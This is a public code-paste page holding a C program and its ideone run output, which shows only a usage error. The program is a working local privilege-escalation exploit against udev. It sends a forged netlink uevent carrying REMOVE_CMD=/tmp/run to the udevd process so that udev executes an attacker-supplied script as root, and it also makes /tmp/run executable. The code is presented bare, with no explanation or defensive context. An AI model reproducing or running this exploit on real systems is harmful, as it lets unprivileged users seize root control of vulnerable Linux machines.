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  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/stat.h>
  7. #include <sys/socket.h>
  8. #include <linux/types.h>
  9. #include <linux/netlink.h>
  10.  
  11. #ifndef NETLINK_KOBJECT_UEVENT
  12. #define NETLINK_KOBJECT_UEVENT 15
  13. #endif
  14.  
  15. int
  16. main(int argc, char **argv)
  17. {
  18. 	int sock;
  19. 	char *mp, *err;
  20. 	char message[4096];
  21. 	struct stat st;
  22. 	struct msghdr msg;
  23. 	struct iovec iovector;
  24. 	struct sockaddr_nl address;
  25.  
  26. 	if (argc < 2) {
  27. 		err = "Pass the udevd netlink PID as an argument";
  28. 		printf("[-] Error: %s\n", err);
  29. 		exit(1);
  30. 	}
  31.  
  32. 	if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
  33. 	    (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
  34. 		err = "Required 95-udev-late.rules not found";
  35. 		printf("[-] Error: %s\n", err);
  36. 		exit(1);
  37. 	}
  38.  
  39. 	if (stat("/tmp/run", &st) == -1) {
  40. 		err = "/tmp/run does not exist, please create it";
  41. 		printf("[-] Error: %s\n", err);
  42. 		exit(1);
  43. 	}
  44. 	system("chmod +x /tmp/run");
  45.  
  46. 	memset(&address, 0, sizeof(address));
  47. 	address.nl_family = AF_NETLINK;
  48. 	address.nl_pid = atoi(argv[1]);
  49. 	address.nl_groups = 0;
  50.  
  51. 	msg.msg_name = (void*)&address;
  52. 	msg.msg_namelen = sizeof(address);
  53. 	msg.msg_iov = &iovector;
  54. 	msg.msg_iovlen = 1;
  55.  
  56. 	sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  57. 	bind(sock, (struct sockaddr *) &address, sizeof(address));
  58.  
  59. 	mp = message;
  60. 	mp += sprintf(mp, "remove@/d") + 1;
  61. 	mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  62. 	mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  63. 	mp += sprintf(mp, "TIMEOUT=10") + 1;
  64. 	mp += sprintf(mp, "ACTION=remove") +1;
  65. 	mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
  66.  
  67. 	iovector.iov_base = (void*)message;
  68. 	iovector.iov_len = (int)(mp-message);
  69.  
  70. 	sendmsg(sock, &msg, 0);
  71.  
  72. 	close(sock);
  73.  
  74. 	return 0;
  75. }
Runtime error #stdin #stdout 0s 2292KB
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Standard input is empty
stdout
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[-] Error: Pass the udevd netlink PID as an argument
https://ideone.com/f59zci
language:
C (gcc 8.3)
created:
11 years ago
visibility:
public

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